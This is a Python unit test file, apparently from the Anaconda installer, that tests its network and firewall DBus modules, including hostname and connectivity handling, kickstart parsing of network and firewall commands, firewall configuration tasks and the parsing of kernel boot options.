def _check_dbus_property(self, *args, **kwargs):
check_dbus_property(
self,
NETWORK,
self.network_interface,
*args, **kwargs
)
@patch("pyanaconda.modules.common.base.base.setlocale")
@patch("pyanaconda.modules.common.base.base.os")
def set_locale_test(self, mocked_os, setlocale):
"""Test setting locale of the module."""
from locale import LC_ALL
import pyanaconda.core.util
locale = "en_US.UTF-8"
mocked_os.environ = {}
self.network_interface.SetLocale(locale)
self.assertEqual(mocked_os.environ["LANG"], locale)
setlocale.assert_called_once_with(LC_ALL, locale)
self.assertEqual(pyanaconda.core.util._child_env['LANG'], locale)
def hostname_property_test(self):
"""Test the hostname property."""
self._check_dbus_property(
"Hostname",
"dot.dot",
)
def get_current_hostname_test(self):
"""Test getting current hostname does not fail."""
self.network_interface.GetCurrentHostname()
def connected_test(self):
"""Test getting connectivity status does not fail."""
connected = self.network_interface.Connected
self.assertIn(connected, (True, False))
def connecting_test(self):
"""Test checking connecting status does not fail."""
self.network_interface.IsConnecting()
def mocked_client_connectivity_test(self):
"""Test connectivity properties with mocked NMClient."""
nm_client = MockedNMClient()
nm_client._connect_state_changed(self.network_module._nm_state_changed)
self.network_module.nm_client = nm_client
nm_client._set_state(NM.State.CONNECTED_LOCAL)
self.assertTrue(self.network_interface.Connected)
nm_client._set_state(NM.State.DISCONNECTED)
self.assertFalse(self.network_interface.Connected)
self.callback.assert_called_with(NETWORK.interface_name, {'Connected': False}, [])
self.assertFalse(self.network_interface.IsConnecting())
nm_client._set_state(NM.State.CONNECTED_SITE)
self.assertTrue(self.network_interface.Connected)
self.callback.assert_called_with(NETWORK.interface_name, {'Connected': True}, [])
self.assertFalse(self.network_interface.IsConnecting())
nm_client._set_state(NM.State.CONNECTED_GLOBAL)
self.assertTrue(self.network_interface.Connected)
self.callback.assert_called_with(NETWORK.interface_name, {'Connected': True}, [])
self.assertFalse(self.network_interface.IsConnecting())
nm_client._set_state(NM.State.CONNECTING)
self.assertFalse(self.network_interface.Connected)
self.callback.assert_called_with(NETWORK.interface_name, {'Connected': False}, [])
self.assertTrue(self.network_interface.IsConnecting())
nm_client._set_state(NM.State.CONNECTED_LOCAL)
self.assertTrue(self.network_interface.Connected)
self.callback.assert_called_with(NETWORK.interface_name, {'Connected': True}, [])
self.assertFalse(self.network_interface.IsConnecting())
def nm_availability_test(self):
self.network_module.nm_client = None
self.assertTrue(self.network_interface.Connected)
self.assertFalse(self.network_interface.IsConnecting())
def create_device_configurations_test(self):
"""Test creating device configurations does not fail."""
self.network_interface.CreateDeviceConfigurations()
def get_device_configurations_test(self):
"""Test GetDeviceConfigurations."""
self.assertListEqual(self.network_interface.GetDeviceConfigurations(), [])
def network_device_configuration_changed_test(self):
"""Test NetworkDeviceConfigurationChanged."""
self.network_interface.NetworkDeviceConfigurationChanged()
def get_dracut_arguments_test(self):
"""Test GetDracutArguments."""
self.assertListEqual(
self.network_interface.GetDracutArguments("ens3", "10.10.10.10", "", False), []
)
def log_configuration_state_test(self):
"""Test LogConfigurationState."""
self.network_interface.LogConfigurationState("message")
@patch_dbus_publish_object
@patch('pyanaconda.modules.network.network.devices_ignore_ipv6', return_value=True)
def install_network_with_task_test(self, devices_ignore_ipv6, publisher):
"""Test InstallNetworkWithTask."""
self.network_module._disable_ipv6 = True
self.network_module.nm_client = Mock()
self.network_module._is_using_persistent_device_names = Mock(return_value=True)
self.__mock_nm_client_devices(
[
("ens3", "33:33:33:33:33:33", "33:33:33:33:33:33", NM.DeviceType.ETHERNET),
("ens4", "44:44:44:44:44:44", "44:44:44:44:44:44", NM.DeviceType.ETHERNET),
("ens5", "55:55:55:55:55:55", "55:55:55:55:55:55", NM.DeviceType.ETHERNET)
]
)
task_path = self.network_interface.InstallNetworkWithTask(False)
obj = check_task_creation(self, task_path, publisher, NetworkInstallationTask)
self.assertEqual(obj.implementation._disable_ipv6, True)
self.assertEqual(obj.implementation._overwrite, False)
self.assertEqual(obj.implementation._network_ifaces, ["ens3", "ens4", "ens5"])
self.assertEqual(obj.implementation._configure_persistent_device_names, True)
self.network_module.log_task_result = Mock()
obj.implementation.succeeded_signal.emit()
self.network_module.log_task_result.assert_called_once()
@patch_dbus_publish_object
def configure_hostname_with_task_test(self, publisher):
"""Test ConfigureHostnameWithTask."""
self.network_module._hostname = "my_hostname"
task_path = self.network_interface.ConfigureHostnameWithTask(False)
obj = check_task_creation(self, task_path, publisher, HostnameConfigurationTask)
self.assertEqual(obj.implementation._overwrite, False)
self.assertEqual(obj.implementation._hostname, "my_hostname")
@patch_dbus_publish_object
@patch('pyanaconda.modules.network.installation.update_connection_values')
@patch('pyanaconda.modules.network.installation.find_ifcfg_uuid_of_device')
def configure_activation_on_boot_with_task_test(self, find_ifcfg_uuid_of_device,
update_connection_values, publisher):
"""Test ConfigureActivationOnBootWithTask."""
self.network_module.nm_client = Mock()
self.network_module._should_apply_onboot_policy = Mock(return_value=True)
self.network_module._has_any_onboot_yes_device = Mock(return_value=False)
self.network_module._get_onboot_ifaces_by_policy = Mock(return_value=["ens4"])
task_path = self.network_interface.ConfigureActivationOnBootWithTask(
["ens3"],
)
obj = check_task_creation(self, task_path, publisher, ConfigureActivationOnBootTask)
self.assertEqual(
set(obj.implementation._onboot_ifaces),
set(["ens3", "ens4"])
)
self.network_module.log_task_result = Mock()
obj.implementation.succeeded_signal.emit()
self.network_module.log_task_result.assert_called_once()
def _mock_supported_devices(self, devices_attributes):
ret_val = []
for dev_name, dev_hwaddr, dev_type in devices_attributes:
dev = Mock()
dev.device_name = dev_name
dev.device_hwaddress = dev_hwaddr
dev.device_type = dev_type
ret_val.append(dev)
self.network_module.get_supported_devices = Mock(return_value=ret_val)
@patch_dbus_publish_object
def consolidate_initramfs_connections_with_task_test(self, publisher):
"""Test ConsolidateInitramfsConnectionsWithTask."""
task_path = self.network_interface.ConsolidateInitramfsConnectionsWithTask()
obj = check_task_creation(self, task_path, publisher, ConsolidateInitramfsConnectionsTask)
self.network_module.log_task_result = Mock()
obj.implementation.succeeded_signal.emit()
self.network_module.log_task_result.assert_called_once()
@patch_dbus_publish_object
def apply_kickstart_with_task_test(self, publisher):
"""Test ApplyKickstartWithTask."""
self._mock_supported_devices([("ens3", "", 0)])
task_path = self.network_interface.ApplyKickstartWithTask()
obj = check_task_creation(self, task_path, publisher, ApplyKickstartTask)
self.network_module.log_task_result = Mock()
obj.implementation.succeeded_signal.emit()
self.network_module.log_task_result.assert_called_once()
@patch_dbus_publish_object
def set_real_onboot_values_from_kickstart_with_task_test(self, publisher):
"""Test SetRealOnbootValuesFromKickstartWithTask."""
self._mock_supported_devices([("ens3", "", 0)])
task_path = self.network_interface.SetRealOnbootValuesFromKickstartWithTask()
obj = check_task_creation(self, task_path, publisher, SetRealOnbootValuesFromKickstartTask)
self.network_module.log_task_result = Mock()
obj.implementation.succeeded_signal.emit()
self.network_module.log_task_result.assert_called_once()
@patch_dbus_publish_object
def dump_missing_ifcfg_files_with_task_test(self, publisher):
"""Test DumpMissingIfcfgFilesWithTask."""
task_path = self.network_interface.DumpMissingIfcfgFilesWithTask()
obj = check_task_creation(self, task_path, publisher, DumpMissingIfcfgFilesTask)
self.network_module.log_task_result = Mock()
obj.implementation.succeeded_signal.emit()
self.network_module.log_task_result.assert_called_once()
def __mock_nm_client_devices(self, device_specs):
"""Mock NM Client devices obtained by get_devices() method.
:param device_specs: list of specifications of devices which are tuples
(DEVICE_NAME, PERMANENT_HWADDRESS, HWADDRESS, DEVICE_TYPE)
None value of PERMANENT_HWADDRESS means raising Attribute exception
:type device_specs: list(tuple(str, str, str, int))
"""
ret_val = []
for name, perm_hw, hw, dtype in device_specs:
dev = Mock()
dev.get_iface.return_value = name
dev.get_device_type.return_value = dtype
dev.get_hw_address.return_value = hw
if perm_hw:
dev.get_permanent_hw_address.return_value = perm_hw
else:
dev.get_permanent_hw_address = Mock(side_effect=AttributeError('mocking no permanent hw address'))
ret_val.append(dev)
self.network_module.nm_client.get_devices.return_value = ret_val
def get_supported_devices_test(self):
"""Test GetSupportedDevices."""
# No NM available
self.network_module.nm_client = None
self.assertEqual(
self.network_interface.GetSupportedDevices(),
[]
)
# Mocked NM
self.network_module.nm_client = Mock()
self.__mock_nm_client_devices(
[
("ens3", "33:33:33:33:33:33", "33:33:33:33:33:33", NM.DeviceType.ETHERNET),
("ens4", "44:44:44:44:44:44", "44:44:44:44:44:44", NM.DeviceType.ETHERNET),
# Permanent address is preferred
("ens5", "55:55:55:55:55:55", "FF:FF:FF:FF:FF:FF", NM.DeviceType.ETHERNET),
# Virtual devices don't have permanent hw address
("team0", None, "33:33:33:33:33:33", NM.DeviceType.TEAM)
]
)
devs_infos = self.network_interface.GetSupportedDevices()
self.assertDictEqual(
devs_infos[0],
{
'device-name': get_variant(Str, "ens3"),
'hw-address': get_variant(Str, "33:33:33:33:33:33"),
'device-type': get_variant(Int, NM.DeviceType.ETHERNET)
}
)
self.assertDictEqual(
devs_infos[1],
{
'device-name': get_variant(Str, "ens4"),
'hw-address': get_variant(Str, "44:44:44:44:44:44"),
'device-type': get_variant(Int, NM.DeviceType.ETHERNET)
}
)
self.assertDictEqual(
devs_infos[2],
{
'device-name': get_variant(Str, "ens5"),
'hw-address': get_variant(Str, "55:55:55:55:55:55"),
'device-type': get_variant(Int, NM.DeviceType.ETHERNET)
}
)
self.assertDictEqual(
devs_infos[3],
{
'device-name': get_variant(Str, "team0"),
'hw-address': get_variant(Str, "33:33:33:33:33:33"),
'device-type': get_variant(Int, NM.DeviceType.TEAM)
}
)
def _mock_nm_active_connections(self, connection_specs):
active_connections = []
for activated, ifaces in connection_specs:
con = Mock()
if activated:
con.get_state.return_value = NM.ActiveConnectionState.ACTIVATED
devs = []
for iface in ifaces:
dev = Mock()
dev.get_ip_iface.return_value = iface
dev.get_iface.return_value = iface
devs.append(dev)
con.get_devices.return_value = devs
active_connections.append(con)
self.network_module.nm_client.get_active_connections.return_value = active_connections
def get_activated_interfaces_test(self):
"""Test GetActivatedInterfaces."""
# No NM available
self.network_module.nm_client = None
self.assertEqual(
self.network_interface.GetActivatedInterfaces(),
[]
)
# Mocked NM
self.network_module.nm_client = Mock()
self._mock_nm_active_connections(
[
(True, ["ens3"]),
# Slave of bond0
(True, ["ens5"]),
# Slave of bond0
(True, ["ens7"]),
(True, ["bond0"]),
(False, ["ens11"]),
# Not sure if/when this can happen, but we have been supporting it
(True, ["devA", "devB"]),
(True, [])
]
)
self.assertListEqual(
self.network_interface.GetActivatedInterfaces(),
["ens3", "ens5", "ens7", "bond0", "devA", "devB"]
)
def _test_kickstart(self, ks_in, ks_out):
check_kickstart_interface(self, self.network_interface, ks_in, ks_out)
def no_kickstart_test(self):
"""Test with no kickstart."""
ks_in = None
ks_out = """
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_empty_test(self):
"""Test with empty string."""
ks_in = ""
ks_out = """
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def network_kickstart_test(self):
"""Test the network command.
In case of kickstart-only network configuration the original commands are
preserved instead of generating the commands from ifcfg files which happens
if there has been any non-kickstart (UI) configuration.
"""
ks_in = """
network --device ens7 --bootproto static --ip 192.168.124.200 --netmask 255.255.255.0 --gateway 192.168.124.255 --nameserver 10.34.39.2 --activate --onboot=no --hostname=dot.dot
"""
ks_out = """
# Network information
network --bootproto=static --device=ens7 --gateway=192.168.124.255 --hostname=dot.dot --ip=192.168.124.200 --nameserver=10.34.39.2 --netmask=255.255.255.0 --onboot=off --activate
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_firewall_basic_test(self):
"""Test basic firewall command usage."""
ks_in = "firewall --enable --port=imap:tcp,1234:udp,47 --trust=eth0,eth1 --service=ptp,syslog,ssh --remove-service=tftp,ssh"
ks_out = """
# Firewall configuration
firewall --enabled --port=imap:tcp,1234:udp,47:tcp --trust=eth0,eth1 --service=ptp,syslog,ssh --remove-service=tftp,ssh
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_firewall_disable_test(self):
"""Test firewall --disabled."""
ks_in = "firewall --disabled"
ks_out = """
# Firewall configuration
firewall --disabled
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_firewall_disable_with_options_test(self):
"""Test firewall --disabled with options."""
# apparently Pykickstart dumps any additional options if --disabled is used
ks_in = "firewall --disable --port=imap:tcp,1234:udp,47 --trust=eth0,eth1 --service=ptp,syslog,ssh --remove-service=tftp,ssh"
ks_out = """
# Firewall configuration
firewall --disabled
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_firewall_use_system_defaults_test(self):
"""Test firewall --use-system-defaults."""
ks_in = "firewall --use-system-defaults"
ks_out = """
# Firewall configuration
firewall --use-system-defaults
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_firewall_use_system_defaults_with_options_test(self):
"""Test firewall --use-system-defaults."""
# looks like --use-system-defaults also eats any additional options
ks_in = "firewall --use-system-defaults --port=imap:tcp,1234:udp,47 --trust=eth0,eth1 --service=ptp,syslog,ssh --remove-service=tftp,ssh"
ks_out = """
# Firewall configuration
firewall --use-system-defaults
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def kickstart_firewall_service_options_test(self):
"""Test firewall with individual service options.
The firewall command supports enabling some well known services, such as ssh or smtp, via dedicated
options. The services should then end up in the --service list in the output.
"""
ks_in = "firewall --ftp --http --smtp --ssh"
ks_out = """
# Firewall configuration
firewall --enabled --service=ftp,http,smtp,ssh
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
def default_requirements_test(self):
"""Test that by default no packages are required by the network module."""
self.assertEqual(self.network_interface.CollectRequirements(), [])
def kickstart_firewall_package_requirements_test(self):
"""Test that firewall command in kickstart results in request for firewalld package."""
ks_in = "firewall --ftp --http --smtp --ssh"
ks_out = """
# Firewall configuration
firewall --enabled --service=ftp,http,smtp,ssh
# Network information
network --hostname=localhost.localdomain
"""
self._test_kickstart(ks_in, ks_out)
self.assertEqual(self.network_interface.CollectRequirements(), [
{
"type": get_variant(Str, "package"),
"name": get_variant(Str, "firewalld"),
"reason": get_variant(Str, "Requested by the firewall kickstart command.")
}
])
def teamd_requirements_test(self):
"""Test that mocked team devices result in request for teamd package."""
# mock a team device
self.network_module.nm_client = Mock()
self.__mock_nm_client_devices(
[
("team0", None, "33:33:33:33:33:33", NM.DeviceType.TEAM)
]
)
# check that the teamd package is requested
self.assertEqual(self.network_interface.CollectRequirements(), [
{
"type": get_variant(Str, "package"),
"name": get_variant(Str, "teamd"),
"reason": get_variant(Str, "Necessary for network team device configuration.")
}
])
class FirewallInterfaceTestCase(unittest.TestCase):
"""Test DBus interface of the Firewall module."""
def setUp(self):
"""Set up the module."""
self.firewall_module = FirewallModule()
self.firewall_interface = FirewallInterface(self.firewall_module)
# Connect to the properties changed signal.
self.callback = PropertiesChangedCallback()
self.firewall_interface.PropertiesChanged.connect(self.callback)
def _check_dbus_property(self, *args, **kwargs):
check_dbus_property(
self,
FIREWALL,
self.firewall_interface,
*args, **kwargs
)
def default_property_values_test(self):
"""Test the default firewall module values are as expected."""
self.assertEqual(self.firewall_interface.FirewallMode, FIREWALL_DEFAULT)
self.assertListEqual(self.firewall_interface.EnabledPorts, [])
self.assertListEqual(self.firewall_interface.Trusts, [])
self.assertListEqual(self.firewall_interface.EnabledServices, [])
self.assertListEqual(self.firewall_interface.DisabledServices, [])
def set_use_system_defaults_test(self):
"""Test if the use-system-firewall-defaults option can be set."""
self._check_dbus_property(
"FirewallMode",
FIREWALL_USE_SYSTEM_DEFAULTS,
)
def disable_firewall_test(self):
"""Test if firewall can be disabled."""
self._check_dbus_property(
"FirewallMode",
FIREWALL_DISABLED,
)
def toggle_firewall_test(self):
"""Test if firewall can be toggled."""
self._check_dbus_property(
"FirewallMode",
FIREWALL_DISABLED,
)
self._check_dbus_property(
"FirewallMode",
FIREWALL_ENABLED,
)
def set_enabled_ports_test(self):
"""Test if enabled ports can be set."""
self._check_dbus_property(
"EnabledPorts",
["imap:tcp","1234:udp","47"],
)
self._check_dbus_property(
"EnabledPorts",
[],
)
self._check_dbus_property(
"EnabledPorts",
["1337:udp","9001"],
)
def set_trusts_test(self):
"""Tests if trusts can be set."""
self._check_dbus_property(
"Trusts",
["eth1", "eth2", "enps1337"],
)
self._check_dbus_property(
"Trusts",
[],
)
self._check_dbus_property(
"Trusts",
["virbr0", "wl01", "foo", "bar"],
)
def set_enabled_services_test(self):
"""Tests if enabled services can be set."""
self._check_dbus_property(
"EnabledServices",
["tftp", "rsyncd", "ssh"],
)
self._check_dbus_property(
"EnabledServices",
[],
)
self._check_dbus_property(
"EnabledServices",
["ptp", "syslog", "ssh"],
)
def set_disabled_services_test(self):
"""Tests if disabled services can be set."""
self._check_dbus_property(
"DisabledServices",
["samba", "nfs", "ssh"],
)
self._check_dbus_property(
"DisabledServices",
[],
)
self._check_dbus_property(
"DisabledServices",
["ldap", "ldaps", "ssh"],
)
class HostnameConfigurationTaskTestCase(unittest.TestCase):
"""Test the Hostname configuration DBus Task."""
def hostname_config_task_test(self):
with tempfile.TemporaryDirectory() as sysroot:
hostname_file_path = os.path.normpath(sysroot + HostnameConfigurationTask.HOSTNAME_CONF_FILE_PATH)
hostname_dir = os.path.dirname(hostname_file_path)
os.makedirs(hostname_dir)
hostname = "bla.bla"
task = HostnameConfigurationTask(
sysroot=sysroot,
hostname=hostname,
overwrite=True
)
task.run()
with open(hostname_file_path, "r") as f:
content = f.read()
self.assertEqual(content, "{}\n".format(hostname))
shutil.rmtree(hostname_dir)
def hostname_config_dir_not_exist_test(self):
"""Test hostname configuration task with missing target system directory."""
with tempfile.TemporaryDirectory() as sysroot:
hostname = "bla.bla"
task = HostnameConfigurationTask(
sysroot=sysroot,
hostname=hostname,
overwrite=True
)
with self.assertRaises(NetworkInstallationError):
task.run()
class FirewallConfigurationTaskTestCase(unittest.TestCase):
"""Test the Firewall configuration DBus Task."""
def setUp(self):
"""Set up the module."""
self.firewall_module = FirewallModule()
self.firewall_interface = FirewallInterface(self.firewall_module)
# Connect to the properties changed signal.
self.callback = PropertiesChangedCallback()
self.firewall_interface.PropertiesChanged.connect(self.callback)
@patch_dbus_publish_object
def firewall_config_task_basic_test(self, publisher):
"""Test the Firewall configuration task - basic."""
task_path = self.firewall_interface.InstallWithTask()
obj = check_task_creation(self, task_path, publisher, ConfigureFirewallTask)
self.assertEqual(obj.implementation._firewall_mode, FirewallMode.DEFAULT)
self.assertEqual(obj.implementation._enabled_services, [])
self.assertEqual(obj.implementation._disabled_services, [])
self.assertEqual(obj.implementation._enabled_ports, [])
self.assertEqual(obj.implementation._trusts, [])
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_enable_missing_tool_test(self, execInSysroot):
"""Test the Firewall configuration task - enable & missing firewall-offline-cmd."""
with tempfile.TemporaryDirectory() as sysroot:
# no firewall-offline-cmd in the sysroot
os.makedirs(os.path.join(sysroot, "usr/bin"))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.ENABLED,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
# should raise an exception
with self.assertRaises(FirewallConfigurationError):
task.run()
# should not call execInSysroot
execInSysroot.assert_not_called()
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_disable_missing_tool_test(self, execInSysroot):
"""Test the Firewall configuration task - disable & missing firewall-offline-cmd"""
with tempfile.TemporaryDirectory() as sysroot:
# no firewall-offline-cmd in the sysroot
os.makedirs(os.path.join(sysroot, "usr/bin"))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.DISABLED,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
# should not raise an exception
task.run()
# should not call execInSysroot
execInSysroot.assert_not_called()
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_default_missing_tool_test(self, execInSysroot):
"""Test the Firewall configuration task - default & missing firewall-offline-cmd"""
with tempfile.TemporaryDirectory() as sysroot:
# no firewall-offline-cmd in the sysroot
os.makedirs(os.path.join(sysroot, "usr/bin"))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.DEFAULT,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
# should not raise an exception
task.run()
# should not call execInSysroot
execInSysroot.assert_not_called()
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_system_defaults_missing_tool_test(self, execInSysroot):
"""Test the Firewall configuration task - use-system-defaults & missing firewall-offline-cmd"""
with tempfile.TemporaryDirectory() as sysroot:
# no firewall-offline-cmd in the sysroot
os.makedirs(os.path.join(sysroot, "usr/bin"))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.USE_SYSTEM_DEFAULTS,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
# should not raise an exception
task.run()
# should not call execInSysroot
execInSysroot.assert_not_called()
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_default_test(self, execInSysroot):
"""Test the Firewall configuration task - default."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.DEFAULT,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
task.run()
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd',
['--enabled', '--service=ssh'], root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_enable_test(self, execInSysroot):
"""Test the Firewall configuration task - enable."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.ENABLED,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
task.run()
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd', ['--enabled', '--service=ssh'], root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_enable_with_options_test(self, execInSysroot):
"""Test the Firewall configuration task - enable with options."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.ENABLED,
enabled_services = ["smnp"],
disabled_services = ["tftp"],
enabled_ports = ["22001:tcp","6400:udp"],
trusts = ["eth1"])
task.run()
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd',
['--enabled', '--service=ssh', '--trust=eth1', '--port=22001:tcp',
'--port=6400:udp', '--remove-service=tftp', '--service=smnp'],
root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_disable_ssh_test(self, execInSysroot):
"""Test the Firewall configuration task - test SSH can be disabled."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.ENABLED,
enabled_services = [],
disabled_services = ["ssh"],
enabled_ports = [],
trusts = [])
task.run()
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd',
['--enabled', '--remove-service=ssh'],
root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_enable_disable_service_test(self, execInSysroot):
"""Test the Firewall configuration task - test enabling & disabling the same service"""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.ENABLED,
enabled_services = ["tftp"],
disabled_services = ["tftp"],
enabled_ports = [],
trusts = [])
task.run()
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd',
['--enabled', '--service=ssh', '--remove-service=tftp', '--service=tftp'],
root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_disable_test(self, execInSysroot):
"""Test the Firewall configuration task - disable."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.DISABLED,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
task.run()
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd', ['--disabled', '--service=ssh'], root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_disable_with_options_test(self, execInSysroot):
"""Test the Firewall configuration task - disable with options."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.DISABLED,
enabled_services = ["smnp"],
disabled_services = ["tftp"],
enabled_ports = ["22001:tcp","6400:udp"],
trusts = ["eth1"])
task.run()
# even in disable mode, we still forward all the options to firewall-offline-cmd
execInSysroot.assert_called_once_with('/usr/bin/firewall-offline-cmd',
['--disabled', '--service=ssh', '--trust=eth1', '--port=22001:tcp',
'--port=6400:udp', '--remove-service=tftp', '--service=smnp'],
root=sysroot)
@patch('pyanaconda.core.util.execInSysroot')
def firewall_config_task_use_system_defaults_test(self, execInSysroot):
"""Test the Firewall configuration task - use system defaults."""
with tempfile.TemporaryDirectory() as sysroot:
os.makedirs(os.path.join(sysroot, "usr/bin"))
os.mknod(os.path.join(sysroot, "usr/bin/firewall-offline-cmd"))
self.assertTrue(os.path.exists(os.path.join(sysroot, "usr/bin/firewall-offline-cmd")))
task = ConfigureFirewallTask(sysroot=sysroot,
firewall_mode = FirewallMode.USE_SYSTEM_DEFAULTS,
enabled_services = [],
disabled_services = [],
enabled_ports = [],
trusts = [])
task.run()
# firewall-offline-cmd should not be called in use-system-defaults mode
execInSysroot.assert_not_called()
class NetworkModuleTestCase(unittest.TestCase):
"""Test Network module."""
def setUp(self):
"""Set up the network module."""
# Set up the network module.
self.network_module = NetworkService()
def apply_boot_options_ksdevice_test(self):
"""Test _apply_boot_options function for 'ksdevice'."""
self.assertEqual(
self.network_module.default_device_specification,
DEFAULT_DEVICE_SPECIFICATION
)
mocked_kernel_args = {"something": "else"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.default_device_specification,
DEFAULT_DEVICE_SPECIFICATION
)
mocked_kernel_args = {'ksdevice': "ens3"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.default_device_specification,
"ens3"
)
mocked_kernel_args = {}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.default_device_specification,
"ens3"
)
def apply_boot_options_noipv6_test(self):
"""Test _apply_boot_options function for 'noipv6'."""
self.assertEqual(
self.network_module.disable_ipv6,
False
)
mocked_kernel_args = {"something": "else"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.disable_ipv6,
False
)
mocked_kernel_args = {'noipv6': None}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.disable_ipv6,
True
)
mocked_kernel_args = {}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.disable_ipv6,
True
)
def apply_boot_options_bootif_test(self):
"""Test _apply_boot_options function for 'BOOTIF'."""
self.assertEqual(
self.network_module.bootif,
None
)
mocked_kernel_args = {"something": "else"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.bootif,
None
)
mocked_kernel_args = {'BOOTIF': "01-f4-ce-46-2c-44-7a"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.bootif,
"F4:CE:46:2C:44:7A"
)
mocked_kernel_args = {}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.bootif,
"F4:CE:46:2C:44:7A"
)
# Do not crash on trash
mocked_kernel_args = {'BOOTIF': ""}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.bootif,
""
)
def apply_boot_options_ifname_test(self):
"""Test _apply_boot_options function for 'ifname'."""
self.assertEqual(
self.network_module.ifname_option_values,
[]
)
mocked_kernel_args = {"something": "else"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.ifname_option_values,
[]
)
mocked_kernel_args = {'ifname': "ens3f0:00:15:17:96:75:0a"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.ifname_option_values,
["ens3f0:00:15:17:96:75:0a"]
)
